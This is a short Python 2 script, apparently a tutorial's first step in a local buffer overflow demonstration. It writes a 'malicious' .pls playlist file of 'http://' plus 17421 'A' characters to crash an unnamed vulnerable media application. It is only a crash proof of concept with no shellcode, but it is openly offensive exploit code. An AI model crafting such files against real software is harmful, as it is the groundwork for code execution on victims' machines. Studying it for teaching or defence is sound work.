#!usr/bin/env python
#Buffer Overflow Demonstration
#Type : Local Exploitation
#Step 1: Crashing the application 

buffer = "http://" + "A" * 17421	#Payload to be input to the vulnerable application
                                    #Using trial & error adjust the value on which the application crashes

#Creating malicious pls file which will trigger the buffer overflow.
file1 = open("msf.pls", "wb")		
file1.write(buffer)
print "Creating file msf.pls"
file1.close()







    
